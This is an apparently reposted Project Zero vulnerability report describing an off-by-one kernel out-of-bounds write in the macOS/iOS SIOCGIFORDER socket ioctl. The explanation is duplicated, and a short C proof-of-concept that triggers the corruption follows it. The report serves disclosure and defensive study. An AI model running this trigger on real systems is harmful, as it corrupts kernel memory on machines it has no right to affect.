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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111

SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.

SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.

SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.

Here's the relevant code for SIOCGIFORDER:

    case SIOCGIFORDER: {    /* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length = (count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();


at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)

at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list

the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!

By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.

This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/

// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl

SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.

SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.

SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.

Here's the relevant code for SIOCGIFORDER:

    case SIOCGIFORDER: {		/* struct if_order */
      struct if_order *ifo = (struct if_order *)(void *)data;
      
      u_int32_t ordered_count = if_ordered_count;   <----------------- (a)
      
      if (ifo->ifo_count == 0 ||
          ordered_count == 0) {
        ifo->ifo_count = ordered_count;
      } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
        u_int32_t count_to_copy =
        MIN(ordered_count, ifo->ifo_count);          <---------------- (b)
        size_t length =	(count_to_copy * sizeof(u_int32_t));
        struct ifnet *ifp = NULL;
        u_int32_t cursor = 0;
        
        ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
        if (ordered_indices == NULL) {
          error = ENOMEM;
          break;
        }
        
        ifnet_head_lock_shared();
        TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
          if (cursor > count_to_copy) {            <------------------ (c)
            break;
          }
          ordered_indices[cursor] = ifp->if_index; <------------------ (d)
          cursor++;
        }
        ifnet_head_done();


at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)

at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list

the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!

By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.

This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.

tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#include <sys/ioctl.h>
#include <sys/socket.h>

#include <mach/mach.h>

struct if_order {
	u_int32_t			ifo_count;
	u_int32_t			ifo_reserved;
	mach_vm_address_t	ifo_ordered_indices; /* array of u_int32_t */
};

#define SIOCSIFORDER  _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER  _IOWR('i', 179, struct if_order)

void set(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  for (int i = 0; i < n; i++) {
    data[i] = 1;
  }

	struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  ioctl(fd, SIOCSIFORDER, &ifo);
  free(data);
}

void get(int fd, uint32_t n) {
  uint32_t* data = malloc(n*4);
  memset(data, 0, n*4);

	struct if_order ifo;
  ifo.ifo_count = n;
  ifo.ifo_reserved = 0;
  ifo.ifo_ordered_indices = (mach_vm_address_t)data;

  ioctl(fd, SIOCGIFORDER, &ifo);
  free(data);
}

int main() {
  int fd = socket(PF_INET, SOCK_STREAM, 0);
  set(fd, 5);
  get(fd, 4);
  return 0;
}